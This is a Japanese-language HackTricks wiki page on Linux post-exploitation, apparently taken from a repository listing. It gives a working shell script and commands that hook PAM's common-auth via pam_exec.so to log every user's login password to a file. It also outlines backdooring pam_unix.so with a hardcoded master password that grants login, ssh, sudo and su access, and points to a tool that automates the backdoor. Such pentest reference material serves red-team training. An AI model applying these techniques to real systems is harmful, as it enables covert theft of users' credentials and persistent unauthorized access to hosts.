hacktricks/linux-hardening/linux-post-exploitation
2024-09-04 13:37:26 +00:00
..
pam-pluggable-authentication-modules.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:26 +00:00
README.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00

Linux Post-Exploitation

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

PAMを使用してログオンパスワードを嗅ぐ

PAMモジュールを構成して、各ユーザーがログインに使用するパスワードを記録するようにします。PAMが何かわからない場合は、次を確認してください

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

詳細については、元の投稿を確認してください。これは要約です:

技術概要: プラグ可能認証モジュールPAMは、Unixベースのシステムで認証を管理する柔軟性を提供します。これらはログインプロセスをカスタマイズしてセキュリティを向上させることができますが、誤用されるとリスクをもたらすこともあります。この要約では、PAMを使用してログイン資格情報をキャプチャする技術と、緩和戦略について概説しています。

資格情報のキャプチャ:

  • toomanysecrets.shという名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名$PAM_USER、パスワードstdin経由、およびリモートホストIP$PAM_RHOST)を/var/log/toomanysecrets.logにキャプチャします。
  • スクリプトは実行可能になり、pam_exec.soモジュールを使用してPAM構成common-auth)に統合され、静かに実行され、認証トークンがスクリプトに公開されるオプションが付けられます。
  • この手法は、侵害されたLinuxホストが悪用されて資格情報を控えめに記録する方法を示しています。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAMへのバックドア設置

**詳細については、元の投稿**を参照してください。以下は要約です:

Pluggable Authentication ModulePAMは、Linuxでユーザー認証に使用されるシステムです。ユーザー名パスワードサービスの3つの主要な概念に基づいて動作します。各サービスの構成ファイルは/etc/pam.d/ディレクトリにあり、共有ライブラリが認証を処理します。

目的: PAMを変更して、特定のパスワードで認証を許可し、実際のユーザーパスワードをバイパスします。これは、ほとんどのサービスでパスワードの検証に使用されるcommon-authファイルで使用されるpam_unix.so共有ライブラリに特に焦点を当てています。

pam_unix.soの変更手順:

  1. common-authファイル内の認証ディレクティブを特定:
  • ユーザーのパスワードをチェックする責任がある行はpam_unix.soを呼び出します。
  1. ソースコードの変更:
  • pam_unix_auth.cソースファイルに条件付きステートメントを追加し、事前定義されたパスワードが使用された場合にアクセスを許可し、それ以外の場合は通常の認証プロセスを続行します。
  1. 変更したpam_unix.soライブラリを再コンパイルして置き換える
  2. テスト:
  • 事前定義されたパスワードを使用して、通常の認証プロセスに影響を与えずに、さまざまなサービスログイン、ssh、sudo、su、スクリーンセーバーにアクセスが許可されます。

{% hint style="info" %} https://github.com/zephrax/linux-pam-backdoorを使用してこのプロセスを自動化できます。 {% endhint %}

{% hint style="success" %} AWSハッキングの学習と実践:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングの学習と実践: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksのサポート
{% endhint %}